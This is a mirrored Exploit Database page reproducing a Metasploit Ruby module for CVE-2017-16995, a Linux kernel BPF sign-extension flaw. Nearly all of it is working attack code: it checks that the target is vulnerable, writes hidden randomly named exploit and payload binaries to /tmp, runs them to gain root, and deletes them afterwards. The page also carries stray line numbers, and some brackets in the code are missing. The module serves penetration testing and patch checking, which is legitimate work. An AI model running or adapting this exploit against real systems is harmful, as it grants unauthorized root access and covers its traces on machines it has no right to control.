Linux – BPF Sign Extension Local Privilege Escalation (Metasploit)

Exploit Database
123 阅读

作者： Metasploit

日期： 2018-07-19
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/45058/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

Rank = GreatRanking

include Msf::Post::Linux::Priv

include Msf::Post::Linux::System

include Msf::Post::Linux::Kernel

include Msf::Post::File

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',

'Description'=> %q{

Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)

which contains a vulnerability where it may improperly perform sign

extension. This can be utilized to escalate privileges.

The target system must be compiled with BPF support and must not have

kernel.unprivileged_bpf_disabled set to 1.

This module has been tested successfully on:

Debian 9.0 kernel 4.9.0-3-amd64;

Deepin 15.5 kernel 4.9.0-deepin13-amd64;

ElementaryOS 0.4.1 kernel 4.8.0-52-generic;

Fedora 25 kernel 4.8.6-300.fc25.x86_64;

Fedora 26 kernel 4.11.8-300.fc26.x86_64;

Fedora 27 kernel 4.13.9-300.fc27.x86_64;

Gentoo 2.2 kernel 4.5.2-aufs-r;

Linux Mint 17.3 kernel 4.4.0-89-generic;

Linux Mint 18.0 kernel 4.8.0-58-generic;

Linux Mint 18.3 kernel 4.13.0-16-generic;

Mageia 6 kernel 4.9.35-desktop-1.mga6;

Manjero 16.10 kernel 4.4.28-2-MANJARO;

Solus 3 kernel 4.12.7-11.current;

Ubuntu 14.04.1 kernel 4.4.0-89-generic;

Ubuntu 16.04.2 kernel 4.8.0-45-generic;

Ubuntu 16.04.3 kernel 4.10.0-28-generic;

Ubuntu 17.04 kernel 4.10.0-19-generic;

ZorinOS 12.1 kernel 4.8.0-39-generic.

'License'=> MSF_LICENSE,

'Author' =>

[

'Jann Horn', # Discovery

'bleidl',# Discovery and get-rekt-linux-hardened.c exploit

'vnik',# upstream44.c exploit

'rlarabee',# cve-2017-16995.c exploit

'h00die',# Metasploit

'bcoles' # Metasploit

'DisclosureDate' => 'Nov 12 2017',

'Platform' => [ 'linux' ],

'Arch' => [ ARCH_X86, ARCH_X64 ],

'SessionTypes' => [ 'shell', 'meterpreter' ],

'Targets'=> [[ 'Auto', {} ]],

'Privileged' => true,

'References' =>

[

[ 'AKA', 'get-rekt-linux-hardened.c' ],

[ 'AKA', 'upstream44.c' ],

[ 'BID', '102288' ],

[ 'CVE', '2017-16995' ],

[ 'EDB', '44298' ],

[ 'EDB', '45010' ],

[ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],

[ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],

[ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ],

[ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],

[ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],

[ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],

[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],

[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],

[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],

[ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],

[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]

'DefaultTarget'=> 0))

register_options [

OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),

OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])

]

end

def base_dir

datastore['WritableDir'].to_s

end

def upload(path, data)

print_status "Writing '#{path}' (#{data.size} bytes) ..."

rm_f path

write_file path, data

end

def upload_and_chmodx(path, data)

upload path, data

cmd_exec "chmod +x '#{path}'"

end

def upload_and_compile(path, data)

upload "#{path}.c", data

gcc_cmd = "gcc -o #{path} #{path}.c"

if session.type.eql? 'shell'

gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"

end

output = cmd_exec gcc_cmd

rm_f "#{path}.c"

unless output.blank?

print_error output

fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."

end

cmd_exec "chmod +x #{path}"

end

def exploit_data(file)

path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file

fd = ::File.open path, 'rb'

data = fd.read fd.stat.size

fd.close

data

end

def live_compile?

return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

if has_gcc?

vprint_good 'gcc is installed'

return true

end

unless datastore['COMPILE'].eql? 'Auto'

fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'

end

def check

arch = kernel_hardware

unless arch.include? 'x86_64'

vprint_error "System architecture #{arch} is not supported"

return CheckCode::Safe

end

vprint_good "System architecture #{arch} is supported"

if unprivileged_bpf_disabled?

vprint_error 'Unprivileged BPF loading is not permitted'

return CheckCode::Safe

end

vprint_good 'Unprivileged BPF loading is permitted'

release = kernel_release

if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||

Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')

vprint_error "Kernel version #{release} is not vulnerable"

return CheckCode::Safe

end

vprint_good "Kernel version #{release} appears to be vulnerable"

CheckCode::Appears

end

def exploit

unless check == CheckCode::Appears

fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'

end

if is_root?

fail_with Failure::BadConfig, 'Session already has root privileges'

end

unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'

fail_with Failure::BadConfig, "#{base_dir} is not writable"

end

# Upload exploit executable

executable_name = ".#{rand_text_alphanumeric rand(5..10)}"

executable_path = "#{base_dir}/#{executable_name}"

if live_compile?

vprint_status 'Live compiling exploit on system...'

upload_and_compile executable_path, exploit_data('exploit.c')

else

vprint_status 'Dropping pre-compiled exploit on system...'

upload_and_chmodx executable_path, exploit_data('exploit.out')

end

# Upload payload executable

payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"

upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit

print_status 'Launching exploit ...'

output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} "

output.each_line { |line| vprint_status line.chomp }

print_status "Cleaning up #{payload_path} and #{executable_path} ..."

rm_f executable_path

rm_f payload_path

end